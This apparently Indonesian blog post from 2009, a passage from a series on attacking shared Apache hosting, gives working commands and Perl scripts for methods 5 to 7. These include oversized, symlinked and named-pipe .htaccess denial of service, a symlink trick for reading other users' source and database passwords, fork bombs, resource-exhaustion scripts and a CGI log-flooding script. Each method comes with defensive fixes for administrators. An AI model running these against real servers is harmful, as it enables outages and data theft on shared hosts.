December 12, 2009
Solusi 4
Sudah jelas: jangan biarkan user dapat memanipulasi file log. Agar aman, jangan taruh file log di bawah direktori home user, karena direktori home user sudah pasti pemiliknya adalah si user.
Tidak ada ruginya menerapkan patch di Solusi 3, agar user tidak dapat seenaknya mengirimkan kutip penutup ke log akses.
Cara 5: Bermain-Main dengan .htaccess
Tipe serangan lokal, DOS, pencurian data.
Jika Anda memiliki akses lokal dan diperbolehkan menulis .htaccess sendiri, ada berbagai hal menarik yang bisa dicoba. .htaccess merupakan perpanjangan dari httpd.conf, yaitu konfigurasi Apache di tiap tingkat direktori.
Misalkan file-file situsku.com ditaruh sebagai milik user situsku di /home/situsku/www.
Apache tidak membatasi ukuran .htaccess, sehingga Anda dapat meluncurkan DOS dengan membuat file .htaccess yang besar.
$ cd /home/situsku/www
$ perl -e'print "# allow from all\n" x 200_000' > .htaccess
Baris di atas akan menulis sebuah file akses berukuran sekitar 3MB. Cobalah mengakses halaman depan situsku.com dari jaringan lokal. Jika respon menjadi lambat, maka permainan kita bisa berlanjut. Jika tidak, maka server telah dikonfigurasi untuk mengabaikan .htaccess.
Kita dapat melipatgandakan efek ini dengan membuat banyak tingkat direktori, atau loop direktori. Apache pun memperbolehkan .htaccess berupa symlink, sehingga kita dapat melakukan seperti ini:
$ cd /home/situsku/www
$ mkdir www2
$ cd www2
$ ln -s ../.htaccess .htaccess
Akses ke www2 akan semakin lambat karena Apache memroses dulu .htaccess di www/, baru ke www2. Demikian seterusnya.
Apache sebelum 1.2.5 belum mengecek tipe file .htaccess. Sehingga dapat diserang dengan DOS seperti berikut (contoh di bawah untuk .htpasswd):
AuthType Basic
AuthName DoS Attack
AuthUserFile /dev/zero
require valid-user
Ketika mencoba membaca file password dan mencari tanda titik dua pembatas username dan password, Apache akan tersesat di rimba nol selamanya, dan menghabiskan CPU dan RAM.
Apache setelah 1.2.5 mengecek hal ini, namun belum mengecek fifo atau pipa bernama. Kita dapat membuat .htaccess sebagai file pipa bernama:
$ mknod .htaccess p
Dan saat Apache mencoba membaca file akses ini, ia akan menunggu selamanya, karena tidak ada yang menulis ke pipa kita tadi. Masukkan URL ke direktori yang berisi pipa ini di browser berulang kali, maka proses Apache lama-lama akan habis karena masing-masing tergantung membaca .htaccess.
Berbagai kelemahan konfigurasi lain juga dapat dimanfaatkan melalui .htaccess. Misalnya, jika AllowOverride FileInfo aktif dan webserver memiliki mod_status, maka berikan .htaccess berikut untuk melihat halaman status Apache:
SetHandler server-status
Halaman status ini berguna untuk mengetahui tingkat kesibukan Apache Anda, dan juga bisa digunakan oleh penyerang agar lebih efektif dalam melakukan tugasnya.
Atau, jika Options FollowSymlinks hidup, Anda dapat melihat source code CGI/PHP user lain. Misalnya, user yang ingin diintip adalah korban. Perintah berikut dimasukkan oleh user penjahat.
$ cd /home/penjahat/www
$ mkdir korban; cd korban
$ ln -s /home/korban/www www
$ echo -e "
directoryindex none
sethandler default-handler
forcetype text/plain" > .htaccess
Akses direktori /home/penjahat/www/korban/www dari browser. Maka Anda akan melihat seluruh file www milik korban sebagai source. Anda dapat mencuri program yang berharga, password database, dsb.
Ada beberapa kombinasi menarik lainnya dalam bermain-main dengan .htaccess. Silakan cari dan temukan sendiri.
Solusi 5
Nomor satu, apakah Anda membutuhkan .htaccess? Jika tidak, matikan. AllowOverride None. Semua masalah beres. Bukan hanya sistem lebih aman dari user, kinerja Apache juga akan meningkat. Lanjut ke Cara 6.
Jika Anda perlu memberikan akses membuat .htaccess bagi user, maka terapkan patch ini: limit_htaccess.patch. Patch tersebut dapat membatasi kenakalan user dengan memperkenalkan tiga direktif baru.
- LimitAccessFileSize, untuk membatasi ukuran maksimum .htaccess. Perhatikan bahwa nilai standarnya adalah 8k. Untuk mematikan pembatasan ukuran, berikan nilai 0.
- LimitAccessFileType, untuk membatasi jenis file yang diperbolehkan. Misalnya, kita hanya mengizinkan file biasa dan tidak pipe, soket, device, atau bahkan symlink. Maka tambahkan baris LimitAccessFileType regular ke httpd.conf Anda.
- LimitAccessFileToRoot, untuk mewajibkan .htaccess dimiliki root. Ini berarti, Apache tetap dapat menjalankan .htaccess, tapi si user tidak diperbolehkan membuatnya sendiri. Anda dapat membuat antarmuka Web semacam control panel misalnya, agar user dapat membuat .htaccess, tapi hanya perintah-perintah tertentu saja dalam jumlah terbatas.
Berikan juga direktif Options -FollowSymlinks jika Anda ingin mencegah orang agar tidak dapat membuat loop direktori.
Seleksi perintah-perintah yang boleh diberikan di .htaccess melalui direktif AllowOverride. Misalnya, jika Anda menggunakan mod_perl, sangat tidak dianjurkan menghidupkan AllowOverride FileInfo, karena si user dapat membuat .htaccess untuk menjalankan handler Perl sendiri, yang berjalan sebagai user Apache dan memiliki akses ke isi perut webserver.
Cara 6: Membuat Skrip DOS
Tipe serangan: lokal, DOS.
Pada dasarnya mirip dengan cara pertama, namun kini Anda memiliki kebebasan untuk membuat skrip yang bisa dengan cepat menghabiskan resource. Tentu saja Anda perlu diizinkan membuat skrip CGI atau PHP sendiri. Satu yang paling sederhana, fork bomb, untuk memenuhi tabel proses dan menghabiskan RAM:
#!/usr/bin/perl
fork while 1;
Atau, mari habiskan CPU:
#!/usr/bin/perl
for (1..100) { fork or last }
1 while ++$i;
Atau, mari habiskan deskriptor file:
#!/usr/bin/perl
while (++$i) { open $f{$i}, "/bin/ls"; }
Atau, mari habiskan memori lebih cepat:
#!/usr/bin/perl
for (1..20) { fork or last }
while (++$i) { $h{$i} = "X" x 0xff; }
Panggillah skrip ini beberapa kali dari browser agar lebih terasa efeknya.
Sebetulnya serangan pun dapat remote, asalkan kita menemukan skrip bodoh yang bisa dimanfaatkan untuk menyuntikkan skrip kita ini menembus shell atau interpreter Perl/PHP.
Solusi 6
Ada patch bagi Linux yang berguna untuk mendeteksi ledakan proses anak dan segera mematikan proses induknya. Anda bisa mencarinya di Freshmeat, Fork Bomb Defuser. Namun hati-hati jika skrip Anda berjalan di dalam proses Apache (mod_php, mod_perl), sebab dapat dimanfaatkan oleh si penyerang untuk justru membunuh Apache itu sendiri.
Kenakan pembatasan resource pada skrip-skrip CGI. Lihatlah dokumentasi Apache untuk direktif-direktif berikut: LimitRequestBody, LimitRequestFields, LimitRequestFieldSize, LimitRequestLine, RLimitCPU, RLimitMEM, RLimitNPROC.
Jika server Anda dipakai oleh banyak user, lebih baik wrap eksekusi CGI agar risiko ditanggung oleh tiap user, bukan oleh user Apache Anda semata. Jalankan PHP dengan safe_mode dan safe_mode_exec_dir.
Karena tindakan DOS seperti ini amat menyebalkan dan murahan, tegaskan bahwa Anda amat tidak menyukai tindakan ini, dan kenakan sanksi yang berat pada user yang, baik iseng maupun dengan sengaja, melakukan kegiatan DOS seperti ini.
Cara 7: Memenuhi Log
Tipe serangan remote atau lokal, DOS, memenuhi disk.
Root di Unix secara bawaan tidak terbatas aksesnya, termasuk tidak dikenai kuota disk, dsb. Lewat skrip CGI, kita dapat mengalirkan data agar kepada root sehingga ditulis file log error misalnya.
#!/usr/bin/perl
print STDERR "X" x (1024*1024);
Program CGI pendek di atas, jika dijalankan lewat webserver, akan mengirim 1MB data ke log error. Lakukan berulang kali, maka Anda bisa membayangkan apa yang akan terjadi.
Serangan ini juga bisa dilakukan secara remote, dengan mengirim baris request, header User-Agent dan Referer yang panjang-panjang; semua ini umumnya akan bermuara di log akses. Namun tentu serangan lokal lebih efisien.
Solusi 7
Yang pasti, pertama-tama pisahkan partisi log Anda dari yang lain, agar jika log penuh—sesuatu hal yang sering terjadi—maka aktivitas lainnya tidak terhenti begitu saja.
Seperti biasa, tindakan DOS seperti ini agak dilematis untuk diatasi. Anda bisa mematikan error_log sama sekali, atau mengeset LogLevel ke tingkat crit ke atas, tapi itu berarti Anda akan kehilangan pemberitahuan even-even lainnya. Atau Anda dapat melempar stderr ke stdout—seperti yang dilakukan oleh cgiwrap—tapi konsekuensinya pemakaian bandwidth sedikit meningkat: pesan dari stderr ke disk kini berpindah ke jaringan, serta dapat membocorkan informasi seperti password database.
Anda dapat mengeset file log error agar dimiliki oleh user, bukan root, agar terkena kuota dan terbatasi ukurannya. Namun ini berarti direktori penampung file log tersebut jangan boleh bisa ditulisi oleh si user, agar tidak bisa diisengi ala Cara 4.
Atau Anda dapat mengeset pemilik log error sebagai user khusus lain yang diberi kuota.
Jika Anda memahami C dan source code Apache, bisa pula mencoba membatasi ukuran log yang dapat diproduksi per skrip atau per jangka waktu tertentu, meski tentunya ini pun berarti user Anda kehilangan sebagian informasi.
0 comments:
Post a Comment